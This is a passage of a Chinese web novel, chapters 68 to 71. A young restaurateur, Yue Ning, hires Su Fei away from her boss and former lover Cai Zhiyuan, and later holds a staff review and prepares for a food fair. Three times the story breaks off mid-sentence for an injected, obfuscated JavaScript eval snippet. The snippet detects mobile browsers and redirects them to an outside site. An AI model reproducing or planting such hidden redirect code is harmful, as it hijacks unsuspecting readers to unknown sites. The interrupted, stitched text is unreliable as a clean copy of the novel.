虽然致远哥哥是她哥哥，这件事上，她帮理不帮亲，哥哥实在龟毛。如果致远哥哥希望留下姐姐……等等，作为老板，就算是核心员工想走，她会难受，但是不至于这样，一般都是好聚好散。对啊！自己不是听见过电视台员工背后讲姐姐的话吗？说她外头大把的的机会不去，情愿被蔡致远压榨。所以他们之间？ 乔君慎拍蔡致远的背：“她薪资是高，但是你自己也说，两三个人都顶不上一个苏菲，还有啊！昨晚她夜不归宿，你就不舒服了。她跟着你，还得天天看你搂着这个女星，那个女星。她有说过半句吗？ 夜不归宿？岳宁听见这话仔细看蔡致远的表情。 这话戳到蔡致远这个半醉鬼的痛处了，他火往上冒：“她根本不在意我，她睡我就当睡一只鸭。 岳宁忍不住，噗呲一声笑了起来。乔君慎瞪了她一眼，岳宁收了表情。 听半醉的蔡致远絮絮叨叨：“她很在意那个男人，我问她昨晚去哪儿了，她就是不说。她不想说，我也不逼她，我说这件事就这么过了，以后别提了。她非要跟我断了关系。我说不同意分手，她说我们之间连分手都不算。 “我不是劝过你了吗？她说得也没什么错。你们俩互相没把对方当男女朋友。现在她有正式的男朋友了，跟你断了这种关系，不很正常？乔君慎拍着他表弟的背。 蔡致远甩开乔君慎：“那个人有什么好？给她做碗面，她就感动了？为了那个男人。她离开亨通？以为世界上的老板都像我一样，能最大限度地给她权力，支持她的工作，让她做出成绩。 就凭着她天天看蔡致远跟那些女星传绯闻，岳宁就不信他跟那些女星真的没半点关系。关于昨晚上做面的人是自己，姐姐是跟她睡了一晚，这事岳宁决定不说。 她说：“哥，你总以为自己在给她遮风挡雨，实际上，她最大的风雨可能就是来自你。走出亨通，她可能就有另外一片天了。 “别被人骗了身还被人骗了心。 乔君慎坐直了身体：“蔡致远，苏小姐就只能混电视台了？她的强项在于沟通组织和执行。你要这么说，我立马聘她来方达，做行政、做公关，做项目执行，多的是岗位给她。 岳宁立马坐乔君慎边上：“君慎哥哥，以后宝华楼走中端线路，辉煌我打算改成‘宁宴’走高端，还有我打算推类似茶餐厅的连锁，还要和鸿安、立德的合作，事情很多，很复杂，我想成立一家管理公司。我爷爷没有这个概念，我自己还没熟悉港城的情况，要是有苏小姐这样的人在身边，我会轻松很多吧？ 乔君慎很认真地想了一下，点头：“我觉得可以。 “你们想干什么？蔡致远一脑门子汗，喝进去的酒全给吓了出来，看着他们俩。 第68章 人我要了 岳宁坐到致远哥哥身边，把酒瓶拿开：“致远哥哥，你冷静下来想想，苏小姐还愿不愿意继续做你的下属？她说的这些话，是经过了冷静思考的最终决定，还是说她跟你闹脾气，或者想要谈条件？” “我跟她谈过，我跟她说，她要什么都可以谈，哪怕是蔡致远太太的名分也可以。”蔡致远捏了捏眉心说。 岳宁愣愣地看着蔡致远，像是一个傻子，问：“哥，你不会觉得蔡致远太太是个好东西吧？” 蔡致远想起刚才跟苏菲提他可以娶她做太太，苏菲跟宁宁一个表情。 他问：“为什么？” “好日子不过，去给你做免费的管家婆？给你管家，还得给你生孩子，还得应付那些往你身上扑的莺莺燕燕，偶尔还要在你有兴致的时候，应付你。《红楼梦》里的王熙凤但凡生在现在这个世道，她还愿意嫁给贾琏吗？探春都说：‘我但凡是个男人，可以出得去，我必早走了，立一番事业，那时自有我一番道理。’”岳宁笑着说，“像我这样有本事的女孩子，真不会把成为某某的太太，当成是一个奖赏。婚姻就是一副**锁住了两个人。像莫伯伯和大妈妈那样的感情，我心甘情愿戴上**。为一个花花公子戴上**，脑子里装的是什么？” 蔡致远不说话了。 “哥啊！你对自己要有清醒的认识，你是一只会吐钱金蟾蜍，想要从你嘴里抠钱的女人把你当宝，不想要你嘴里钱的女人看你就是一只哈蟆。” “那你也把我当蟾蜍？”蔡致远没好气地说。 岳宁手搭他肩上：“那是肯定的。但是，咱们三个，谁也别笑话谁，谁也别嫌弃谁。咱们是同类，三只金蟾蜍。” 蔡致远明明难受得要命，被她这么一说，笑出声：“你倒是有自知之明。” “所以等我发达了，男明星给我看八块腹肌，我一定不会认为他们是喜欢我，他们就是喜欢我嘴里吐出来的钱。”岳宁斜眼看他一眼，“身为金蟾蜍，要有金蟾蜍的自觉。” 乔君慎侧头看她：“你还想看男明星的腹肌？” 岳宁迎上乔君慎的眼：“我以为同类之间，能相互理解。” 乔君慎面对如此坦荡荡的眼神，这事他管不着，这是傻弟弟要操心的事。 “致远哥哥，基本上你已经失去了苏小姐。我从你今天的表现来看，她是想和你再见还是朋友，你把话给谈**，现在只剩下 老死不相往来这条路了。”岳宁跟蔡致远说。 蔡致远沉默不作声岳宁问：“你想不想峰回路转？我没本事把她拉回来抱着你这只蟾蜍睡觉。但是我可以让她跟你这只蟾蜍握手。” “你说怎么办？”蔡致远问。 “我去找她 “外界能信吗？” “我们管外界信不信我们信了外界就必须信。谁让咱们是金蟾蜍呢？”岳宁看着蔡致远。 蔡致远看着岳宁回忆着刚才跟苏菲的谈话他说要娶她她像是听见了天大的笑话直接说不想在亨通待下去了说要辞职。那会儿他被气疯了他已经把姿态放低到这种程度她还这样？那个男人对她就那么重要？ 她用无力的眼神看他：“蔡致远我以为你心智成熟了。我去工作了明天再跟你谈。” 表哥来找他看出他今天不在状态在表哥的逼问和自己想找人倾诉之下他全说了。 他想找解决办法怎么留下她？表哥拉着他来宁宁这里吃饭。龙肝凤髓他都吃不下只想喝两口自己真的喝多了话多了。居然把这些事全跟这个坏丫头说了。 坏丫头说得也没错他现在强留苏菲也留不住指不定她发起脾气直接收拾收拾跑英国跑加拿大怎么办？这也算是一个缓和双方紧张关系的办法。至少人还在港城甚至还在自己圈子所及的地方。 坏丫头再坏那也是他们的小妹妹天长日久还不能从她嘴里挖出来那个男人是谁？ 蔡致远考虑停当：“你说得也有道理。现在她在气头上我跟她说她还以为是我的缓兵之计。你倒是口齿伶俐就是跟她不熟。” “这没关系啊！无非就是用诚意打动人吗？” 岳宁从蔡致远的眼里看出了他打的好算盘那又有什么关系？岳宁自信两只金蟾蜍相比自己这只金蟾蜍品相比蔡致远要好而且吐钱爽快只想要天鹅干活没想要吃天鹅肉。只要脑子正常都知道应该选谁。 “那你什么时候去？” “苏小姐的电话给我我去约？” 蔡致远报了电话给岳宁岳宁说：“那我去约一下看看她有没有空跟我喝咖啡？” 看着岳宁走出房门蔡致远问乔 君慎：“你说这丫头，会不会坑我？ “她不是明明白白告诉你，她想要苏菲了吗？你又留不住苏菲，她坑你什么了？ 蔡致远酒喝过了，拉拉杂杂也说了一大堆了，这个解决办法，似乎也是当下最好的办法了。他端起饭碗，舀了两勺还有余温的牛腩，填起了肚子。 岳宁敲门，开门，脸上欢欣：“哥哥们，带我去电视台？ 正在吃饭的蔡致远问：“约好了？ “嗯。 岳宁坐他们的车去电视台，苏菲正在开会。 蔡致远下午也有安排，一碗牛腩饭干下去，就那么屁丁点大的希望燃起来，他又满血复活了。 岳宁索性到前台接待处，拿了报纸看报纸等苏菲会议结束。 “岳小姐。 听见这个称呼，岳宁眼光离开了报纸上豪门公子和女明星泳装海滩嬉戏的图片，看见陆进勇和他的老板走了过来。 岳宁站起来：“郭老板、陆大厨，好巧。 御龙轩所属酒店的老板，走过来坐下：“一直想约岳小姐喝茶，岳小姐很忙，没约到。 “宝华楼到现在也就开了七八成，确实很忙。岳宁诚恳而客气地说。 郭老板笑：“岳小姐确实有本事，但是为了一口气，就太过分了吧？你这么做， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915425|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的宝华楼不过是烈火烹油，厨师不到位，也没用，也没办法开足。但是，我们御龙轩就受影响了。你当时觉得心里不舒服，为什么不找我？你有本事，我尊重有本事有手艺的人。岳小姐恕我直言，你的天赋比你的祖父岳宝华先生可能更高，但是你的心量比他狭窄多了。当年岳宝华先生就曾直接把烧腊方子给辉煌，后面得到了辉煌的回报，菜单注明烧腊来自于宝华楼。你明明也可以跟你祖父一样，和我们合作，却选择了这么一条损人不利己的路。 “岳小姐还是年轻气盛，做事不考虑后果，不知道结善缘。你这样很快会把华叔累积的善缘给败光的。陆进勇说道。 真是有其主自有其仆，两人倒是一个思路，岳宁皱眉看着郭老板：“郭老板？你的思路是不是有问题？结善缘，首先得你有善意，你们一开始就恶意满满，倒过来叫我善？你们踩着我，给御龙轩拉生意增加客流，我就说明了实情，你来怨我，被你们踩着，没有上门捧上方子？种善因才能结善缘。 郭老板发现给她台阶都不知道就着台阶下，冷哼 一声：“岳小姐嘴硬是最没用的。在港城开酒楼也不是光靠手艺好就能行的。你祖父的手艺在港城的大厨里也算排得上号了经营几十年也就宝华楼今日的规模。等你到我郭某人的地位再硬气也不迟。” 岳宁笑看着他：“郭先生什么地位？郭先生希望我能跟御龙轩正面竞争吗？这真是一个不错的建议。” “黄口小儿。”郭老板站了起来沉着一张脸“真是被宠得没边了不知道天高地厚。” “到底是谁山中无老虎猴子称大王？”岳宁问他。 郭老板本来是想跟岳宁说两句希望她能明白自己做的事会对她未来造成什么样的影响。接下去再谈双方如何合作？岳宁之前在镜头前也说过御龙轩的菜品口味可以。可见她也不愿意完全得罪他们。 没想到镜头前很很尊重同行的她到了私底下却是牙尖嘴利根本不给他一点点面子。 甚至说出这样的话他脸颊抖了抖：“就算你是一只老虎你还只是一只喝奶的小崽子。先把宝华楼带起来再说。” 岳宁看见走出来找她的苏菲她笑着说：“郭老板过两天应该会有新闻希望那时候你已经做好了心理准备？我约了人不陪你闲聊了。” 她带着小姑娘蹦跳的脚步往苏菲那里小快步跑去：“姐姐。” 苏菲被她勾住了胳膊温柔地问：“等久了吧？” “没有啦！刚好遇到行业前辈他欺负我手里没厨师没管理人才只有一个小小的宝华楼是个喝奶的小屁崽子离他还很远。”岳宁看着苏菲说“才不是呢？厨师会有的 苏菲见御龙轩郭老板黑着一张脸知道两家有过节要是以前她肯定不会蹚这趟不明不白的浑水但是昨晚小丫头让她太温暖她就站小丫头这边了她点了点岳宁的鼻子：“你这么好老天肯定什么都给你最好的。” “我就等姐姐这句话了！”岳宁抱住苏菲的胳膊说。 第69章 得力干将 岳宁和苏菲来到电视台大楼边上的咖啡厅，要了个角落位子。 刚才电话里，岳宁跟苏菲说蔡致远在她这里。苏菲就问她，有没有告诉蔡致远，昨晚自己住她这里。岳宁说没有，然后说想约她聊个天。 就算是岳宁不约她，苏菲也想约她，她知道岳宁和乔家、蔡家的关系。从亲疏上来说，岳宁是不可能站在她这一边的，但是她心里还是觉得岳宁这个特别细心的女孩子能帮她。 苏菲既然要让岳宁保守秘密，她决定据实以告，说起自己跟蔡致远的关系。 一个刚毕业的女大学生进入了电视台，遇到了刚刚海外归来的太子爷。 真是言情小说一样的开局，但是这个太子爷却不是言情小说里的霸总，现实里的太子爷要得到老臣的认可很难，蔡致远很拼，连带他下面整个团队都陪着他拼，苏菲尤其如此，作为部门小助理，在犯过几次小错后，她强迫自己成长，能跟上蔡致远的脚步。 她跟得太紧了，蔡致远地盘扩张，就给她升职。下面有了流言蜚语，她在在意和不在意之间纠结。但最终，这个谣言终于成真了，在一次出差途中，女下属和老板上了床。 她也曾经幻想过成为蔡太太，但这只是幻想。她是一个父母离婚后，被送到元朗乡下养大的女孩子，蔡致远是蔡家的大公子。 随着压力与日俱增，这种幻想她都没有了，蔡致远对她的要求越来越高，他甚至说：“别人做得了的事，你要会做。别人做不了的事，你也要会做。你是我的心腹，是我的左膀右臂。” “我想过离开亨通，但是我好不容易买了屋。我终于不用去住只有一块木板的小阁楼了。我每个月还要还按揭，我不能失去这份工作。而且，港城三家电视台，亨通是大家挤破头想要进来的。另外两家？都曾经招揽我，其中一个老板聊天的时候就对我动手动脚。在他看来招揽我过去，原来在亨通做什么，过去一样都不能少。”苏菲喝了一口咖啡，叹了一口气，“一步错步步错。这个圈子里的人，谁不知道我和蔡致远有这档子事。给了别人这个印象，你再多的努力，也不过是**之后的附属而已。没有人会看到的。” “谁说的？”岳宁笑，“致远哥哥说，你离开亨通别说是港城，台湾不能去，只能去新加坡了，找他小姑婆了，你看小姑婆是女的吧？” “是，余小姐很喜欢我，也曾叫 我过去。” “还有啊！君慎哥哥骂致远哥哥了他说他要找你去方达行政、公关和项目执行这三块岗位随便你挑。君慎哥哥口碑还可以吧？他总不会看上和表弟有过关系的女人吧？”岳宁笑得很开心“君慎哥哥的这番话又倒过去验证了我对你的印象。我第一次见你就对你很有好感。我本没有想能按时举行比试你在极其紧张的时间里把事情安排下去组织起来甚至连观众抽奖这些全部都想到了。我当时只想说好厉害。” 苏菲笑了起来：“就是经历得多了而已。” “也好辛苦。所以我想请你吃饭想当面道谢。”岳宁笑着说“请到你了那次宴请又变了味道。而且我看你也不是一个重口腹之欲的人我心里总有些遗憾。昨晚你过来一碗面就能让你开心我也很高兴。” “一碗面很暖心更加暖心的是你要送我回家。” “每个人做事的逻辑都和他的经历有关。我在北京的时候就曾经多此一举过。”岳宁把北京的遭遇告诉了苏菲。 苏菲听得目瞪口呆如果不是蔡致远今天去岳宁那里吃饭如果不是自己想请岳宁继续隐瞒她们有了现在这次聊天她都不知道岳宁坚持送她不是她看见新闻之后的担心而是亲身经历。 “我可把乔君贤给镇住了他都觉得我好厉害。”岳宁骄傲地说起她背文言文吓得**尿裤子。 苏菲确实没忍住笑了起来：“真的好厉害。” “既然君慎哥哥这么说了我就把我的想法跟致远哥哥说了。”岳宁把自己对宝华楼和现在正在进行中的事给说了出来只是把模糊了收购辉煌说自己要进入高端市场。 苏菲发现岳宁这个小姑娘做的每一件事看上去是因为有一才有二对方攻她防守实际上每一步都在为了未来的局面考虑像下棋一样步步为营。 “我就问君慎哥哥了如果我成立管理公司苏小姐来做这个总经理合适吗？” “我做总经理？”苏菲想都没想过她是电视台的一个主管。离总经理的距离还远呢！她摇头“这我没本事？” “姐姐这是一家初创的公司人都没有从一开始都要自己干的。不是亨通这种从电影、电台到电视几十年走过来的演艺圈之王只是好听了个名头而已。大部分的时间你会跟在致远哥哥身边一样很忙很忙 而且不像亨通你还有资源调用我这里很多事都要你自己解决。”岳宁这么一说脸就垮下来了“来的时候想好的一定要想方设法把你勾引过来说着说着就说那些要面对的困难了。” 苏菲看不得她这样问：“真对我这么有信心？” “跟对我自己一样有信心。”岳宁说。 苏菲笑着说：“那行我明天跟蔡致远再谈早点结束早点去你那里。” “姐姐咱们还得谈待遇呢！” “覆盖我的按揭还有给一些生活费就好了。等以后你把御龙轩打败了再说。”苏菲笑着说。 岳宁摇头：“不不不我来之前没有把胜华楼当对手现在也不会把御龙轩当对手。比照你在亨通的待遇另外你有公司5%的原始股份。” “还给我股份？”苏菲惊讶地问。 “对啊！要不我拿什么长期激励你？”岳宁笑着问“我又不像致远哥哥那样盲目自信以为蔡太太的头衔就能让一个女人为我贡献一生。” “哈哈哈！宁宁你好可爱。” “是啊！是啊！想想未来会跟我这么个可爱的还会做菜的妹妹共事会不会很兴奋？” 苏菲笑：“自信这一点你跟蔡致远还是很像的。” “这是金蟾蜍的通病。”岳宁把自己那一套金蟾蜍的歪理说给苏菲听“姐姐一起做那一只金光闪闪的蟾蜍吧！不要做那只被肖想的天鹅。” 苏菲顾及这是在钢琴曲流泻的咖啡厅里她捂住嘴笑就凭着宁宁的幽默风趣 岳宁把跟蔡致远商量的结果也告诉了她：“当然致远哥哥这么答应是他的哈蟆心理认为还有机会。但是我知道没有对比就没有伤害你有了我不会再要他了。” “肯定的。” 岳宁看了一下手表：“姐姐。晚市都已经要开始了我先回去了。” 苏菲和岳宁出了咖啡馆去打的士岳宁伸手：“姐姐抱一抱。” 苏菲抱住岳宁这小丫头跟蔡致远还真有点像果然金蟾蜍是有共性的。 送了岳宁上了的士苏菲回到电视台大楼她希望好聚好散亨通和蔡致远都不算亏待她她也不希望撕破脸皮以后见面没法点头。 刚刚踏进办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915426|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公室同事就说：“苏小姐蔡先生说请你回来了办公室找他。” 见苏菲出门办公室里的人交头 接耳，昨天留下来加班的人，谁没见到苏菲挂了电话，红着眼圈，交代了几声离开了办公室。 今天早上她上楼之后，又下来，小老板追下来，拉着她去他们部门的会议室，不知道谈了什么。小老板摔门出去，苏菲还是该干嘛干嘛。 下午苏菲一出门，小老板就电话下来，说让苏菲回来立马上去找他。 “哎呀！无非就是逼着小老板给名分，想要飞上枝头变凤凰啦！蔡家大少奶奶的名分哪有这么好得的？ “那可难说哦！流水的明星，铁打的苏菲，从小老板进电视台，到现在手握大权，苏菲一直在。 “她要真嫁入蔡家，那也是灰姑娘嫁王子了。 “那也是她的本事……能不能不要在她背后说这些？ “人家跟着红人做事轻松，我们跟着红人，每天忙得脚不点地。还不能说两句？ “可苏小姐也为大家争取了该有的东西，每年加工钱，年底的花红我们部门一直最高吧？ “我只要少做点事，加薪多，花红多，哪里比得上做得多？其他部门还说，他们没有一个会跟小老板睡的女波士，业绩当然不行啦？老子熬通宵，他们怎么不说？ “…… 部门里在讨论，楼上蔡致远承认，是他答应岳宁，让岳宁邀请苏菲过去的。但是苏菲这个嘴角压不住的表情，他看得难受。 “你就一天都不想待在亨通吗？ 苏菲坐在蔡致远对面：“也不是，小妹妹现在忙疯了，我想早点过去帮忙。就今天算起吗？一个月的交接肯定够了。中间我可能还会跑掉几天，帮妹妹去把公司成立了，不会扣我工钱吧？ 蔡致远那股子火上来：“急着离开，去一个小得屁丁点大的地方，只是因为那是一个女老板？是怕他介意吧？ 苏菲笑：“如果我说，我纯粹是因为喜欢小妹妹，想跟小妹妹共事。你信不信？ “我信你，我就不姓蔡！蔡致远顿然觉得胸口的陈年老血都想吐出来。 苏菲有些坏心地想：真相会有大白于天下的一天吧？ 她站起来：“走吧！一起下楼，去我部门公布一下，我即将离职的消息？ 蔡致远手指按了按太阳穴，昨晚没睡，今天情绪一直不稳定，太阳穴生疼。他站起来扣住了西服的扣子，跟着苏菲下楼进了她的部门。 看她春风满面地站在他身边，催他：“蔡先生，你来宣布吧！ 蔡致远以被胁迫之姿，不情不愿地说：“各位同仁，苏小姐因个人发展需要，会在近期离开亨通。我在这里感谢苏小姐和她的团队的努力，也感谢她为亨通做出的贡献！ 他扯出笑容拍手，部门里的人懵逼地拍着手，苏菲异常愉悦地跟大家鞠躬：“谢谢大家这些日子以来的支持！ 有个同事自以为聪明地往苏菲的细腰上看去，难道说是肚子里有了，逼着小老板娶她？他笑着说：“我们是不是要恭喜蔡先生和蔡太太？ 苏菲的脸立马沉了下来：“是我要离开亨通，我的未来跟蔡致远先生没有关系！ 听她这么着急撇清关系，本来就压着一口老血的蔡致远终于忍不住了：“就算你不肯嫁给我，也没必要这么撇清吧？ 同仁傻眼：小老板想娶，苏小姐拒绝？苏小姐要走？小老板不情不愿？ 第70章 乔君贤回家 岳宁做好晚市，带着轮班的侍应生和厨师学徒一起餐后巡台。 他们到二楼的包间，里面还没收拾，客人走的时候是什么样的，就是什么样的？ 岳宁问：“客人打包了没有？” “没有。”包房侍应生说。 岳宁看向包房领班：“珍姐，你先来说说，你看到的情况。” 宝华楼以前没有这个制度和习惯。 师傅怎么教，徒弟怎么学，都知道能把岳宝华的手艺学到了，都够自己吃一辈子了。 自从岳宁来了就不一样了，岳宁注重和客人沟通，对客人提的不过分的要求，尽量满足，要就客人乘兴而来，满意而回。 “宁宁，按照你的要求，今天多加了两桌，客人有点多，我没有及时餐中巡台。”珍姐先找起理由来。 岳宁沉着脸：“这不是找理由的环节，这是发现问题的环节。你只要跟我如实描述，桌面的现象，就可以了。” “餐桌上脏纸巾比较多，没有及时清理。骨碟里面骨头也堆了起来，也没有及时换。还有烟灰缸里，”珍姐去数了一下，“有九个烟头了。” “其他人有补充吗？”岳宁问其他几个侍应生。 这些侍应生新老参半，一个个不愿意出来回答。 岳宁把餐桌上空的味碟，拿了起来，说：“空的。如果菜品里，有口淡的菜，客人有酱油、醋或者辣椒油的需求，那就应该有蘸料，如果客人不需要，那么这个应该要提前收掉。” 她走到一个菜面前：“这个菜，被夹得很散了，这么大的盘子就不合适了，占地方，夹起来也不方便。那我们该怎么办？” “换小盘子。”一个新来的侍应生说。 “对的，及时换个小盘子。”岳宁拿起茶杯，“里面茶水只剩下一口了，代表什么？” “没有及时添茶水。” “没错。”岳宁跟阿珍说，“珍姐，大的方面就是这几项，小的呢？你看这边连着出现三个同款盘子，看上去不是特别舒服。服务员错开放，同时打荷的人，出菜装盘的时候，也要记得用不同的盘子。当然，这些事小细节了，我们先把基础的服务做好。” “知道是知道了。”阿珍想了想说，“宁宁，上次你说你想做富豪商务宴请的酒楼。不说咱们宝华楼这个市口，富豪过来就是吃吃口味，真要宴请，那还是不行的。就是你现在这个要求，我认为人到位了，咱们肯定 能做到的。但是那种商务宴请我也打听过了而且御龙轩这两天也有电视节目展示你看了就知道现在港城吃哪一套了。他们包房里的侍应生个个都是漂亮得可以去选港姐的靓女。” 阿珍比划胸口学着人家弯腰：“扣子开到这里一弯腰客人清清楚楚看到两个波。” 她看了一眼她的左右又抬头挺胸让岳宁看她：“宁宁我就不说我这张脸能不能跟人家比了就我这个飞机场拿什么跟人家比？” 一屋子的人全都快笑喷了。 他们发现平时嘻嘻哈哈的岳宁没笑立马又全收了笑容岳宁一双锐眼扫了他们一圈：“我说过多少次了？我从来没想跟御龙轩比我的餐厅无论高级还是普通。咱们卖菜、卖服务、卖笑脸唯独不卖色相。我为什么定制的侍应生工作服都是浅灰色的而且不论男女都是一样穿裤子就是为了消除男女差异。最好的服务是客人记不住你的脸但是他感觉很舒服他被尊重了。我不需要你们去跟外头比他们做的那些我们不能做我们做我们能做的。” “我知道了。”阿珍低头说。 “我们说菜了。”岳宁给每个厨师和学徒都发了筷子“阿明叔你分析一下。” 阿明转了转盘把那道剩下最多的菜转到了他面前夹起一根广东菜心：“火候不到有点生。” 一个厨师马上走出来也尝了一根青菜：“是我下次改进。” 阿明之前是最小的徒弟爷爷带他的时间也少前面有师兄们在他专注于煲仔饭也就没那么出色这些日子他们三个被岳宁逼着带学徒管厨房这才多久已经像模像样了。 “宁宁乔二少来了。”楼下前台上来说。 “你让他等等我们马上结束了。”岳宁说。 等阿明带着后厨的人分析完岳宁总结：“餐后巡台是为了不断总结改进 岳宁弯腰“大家辛苦了下班回家注意安全。” “岳小姐再见！” “宁宁再见！” 岳宁伸手请大家出门她最后一个走出包厢门下楼去。 乔君贤看见她了站了起来岳宁问：“这么晚了你怎么来了？” “刚从鹏城回来四天了有些事想跟你商量商量。”乔君贤笑“还有你那些东 西我都寄出去了另外我在包裹里留了鹏城招商办的地址让他们把信寄到招商办我给你带回来。” 上次岳宁想给小杨沟的人写信报平安一打听从港城寄信回去就港城到内地中间要卡上好些天从鹏城或者粤城寄就快许多了。 还有就是小杨沟寄信出来如果寄到鹏城邮费便宜到港城要翻十来倍 乔君贤在鹏城设立工厂的事在推进中他时常要去鹏城岳宁就让他把信带到鹏城去寄。这次岳宁买了好些布料衣服和耐运输的吃食让乔君贤带过去寄。 “想吃点什么？我给你做。边吃边说？”岳宁说。 “简单点煮碗面？” “更简单一点给你煮速食面。”岳宁笑看着他。 听见速食面乔君贤整个人都不好了。自己说简单了又不好说什么跟着岳宁进了厨房。 他站在边上岳宁还真拿了一包速食面拆开放开水里泡。 乔君贤说：“我自己来吧？” “你确定？”岳宁从冰箱里拿来豆芽、韭菜、鸡蛋放在桌上。 不是自己想的那样？乔君贤笑：“那还是你来。” 岳宁笑了一声把泡好的面拌了一半酱料进去香气已经出来了。 她开了炉灶油入锅：“这是立德的岭南豉油鸡面目标客户是茶餐厅味道很不错。” 她炒了鸡蛋再把豆芽炒到断生然后炒拌了酱料的面再把鸡蛋豆芽都放进去放剩下一半酱料最后加上一把韭菜出锅。 乔君贤弯腰：“好香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915427|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 有这碗面他就很满足了。 “你先吃去吃。” 乔君贤见她拿了碗问：“不一起吗？” 岳宁笑：“我炖了肉做了馍。原本打算明天吃早饭的现在分你一个。” “我等你。” “不用不用。炒面趁热吃。我很快就好了。” 乔君贤脸上带着笑端着盘子出去。 外头大厅里几个清洁工正在做保洁他找了个干净的位子坐下。 这是速食面炒的？味道还真不错。又爽又弹确实有她做的豉油鸡的味道。 岳宁端了一个碗出来她放下碗碗里两个肉夹馍见他吃得欢快她转身去拿了一罐可乐打开给他：“这么干也不怕噎着。出去不过四天没吃东西啊？” 鹏城刚刚开发除了县招待 所，几乎没有什么像样的饭店，乔君贤不嫌弃，就是几天下来想吃岳宁做饭菜了。 乔君贤喝了一口可乐，有了一口带着镬气面条，整个人都舒服了。 岳宁拿起一个肉夹馍来，把碗推给他：“还有一个归你了。” 乔君贤咬了一口肉夹馍：“好吃，是那个味道。不过这个壳怎么是一丝一丝的。” “老潼关的口味，脆壳的。你之前吃的是白吉馍。”岳宁跟他说。 “还有这个区别？”乔君贤再咬了一口，丝丝缕缕极为酥脆，“这个也好吃，脆脆的，很香。” 清洁工们打扫完毕，跟她挥手再见，岳宁摆手：“路上小心。” 乔君贤终于吃饱喝足，他笑着问：“听说，你把苏小姐请过来了？” 这不是今天才发生的事吗？他不是刚到家吗？岳宁问：“你怎么知道了？” “我回家了一趟，听我妈和大哥在说。说今天表哥回家被大姑姑骂活该。”乔君贤笑着说，“你脑子真灵，苏小姐能力出色，很适合这这个位子。” “还是你大哥给的灵感。”岳宁跟乔君贤说起蔡致远来宝华楼吃饭喝酒，喝得半醉的事。 乔君贤边听边笑，岳宁说：“其实苏菲姐也很困扰，明明她能力很强，跟老板有了这么一种关系，就全变成因为上床得来的利益。她来我这里，也证明自己的价值。” “确实，表哥对自己心腹要求太高了，也没有站在她的角度，替她想。”乔君贤略微犹豫了一下，问：“听哥哥说，你说你和他们一样是金蟾蜍。” “是啊！”岳宁还觉得自己这个形容又准确又幽默，她跟乔君贤还复述了一遍，不过漏掉了关键的一句。 乔君贤提醒她：“你说，想看男明星的八块腹肌？” 岳宁面对乔君慎的时候，目光坦荡，但是看着乔君贤，心就虚起来了。她打哈哈：“就打个比方吗？” 乔君贤揉着她的头，嘴上微微一笑，带出一个小酒窝，说：“你还小，港城这种乱七八糟的太多了，别什么都学，什么都看，尤其不要跟表哥学。” 岳宁想要翻白眼，对上他的眼睛，不情不愿地说：“知道了。” 就说他怎么就一回来，立马来她这里，原来……呵！ 第71章 食品展会 粤省农产品进出口公司驻港办的领导，在电视里看见岳宁在宴会上用了狮头鹅鹅肝做潮汕卤鹅肝，看到岳宁如今在港城炙手可热，不亚于当红明星，提了一句，今年港城国际食品博览会上，她能帮忙推介一下内地的农产品就好了。 周文婷听见这话，她主动接下任务，说去找岳宁碰碰运气。 虽然大家都在港城，周文婷也知道宝华楼现在是一位难求，再说岳宁红得发紫，她也就没去凑过热闹。 为了推介农产品，她就上门一试了。 周文婷还在想，怎么才能说动岳宁帮忙，还要让岳宁能收费低一些。 大家在港城已经很久了，也熟悉那些大牌明星的出场费有多高，只是国内现在穷，他们这些驻港办的人，拿的工资都没有港城那些普通工人的一半高。 她一上门，讲了一句来意，岳宁就一口答应，周文婷小心翼翼地开口问岳宁出场费。岳宁一脸惊讶：“我给自己家推荐农产品，还能要钱？” 她这个一分不收，倒是让领导们不好意思了。 领导们的意思，她就站那里帮他们介绍一下产品就好了。 岳宁一想，不成！她的名气虽然大，哪有她的食物香啊？ 她了解了一下，会场是容许食物加热，不允许出现明火。 烧腊的话，得酒楼烤了拿过去，到那里口味也变了。 潮汕卤水，重点推荐澄海狮头鹅，冷吃也没问题。鹅肝的话泡在鹅油里，切片后用热卤水回温就好了。还有乔君贤很喜欢的肉夹馍，肉夹馍的卤肉香啊！ 卤水加上卤肉的香气，岳宁相信他们这个展台一定可以吸引最多人。这样做的话，也跟她的职业相符。 进出口公司提供了十只澄海的狮头鹅，两头湘西黑猪，屠宰之后送到了宝华楼。 岳宁一下子哭笑不得，一只狮头鹅将近二十斤，其中两只还是超过五六年的老鹅，他们这是打算做什么？ “又没让你全部在展会上用，实物是抵消不了你的出场费，好歹我们也算是还了一点礼。”周文婷说。 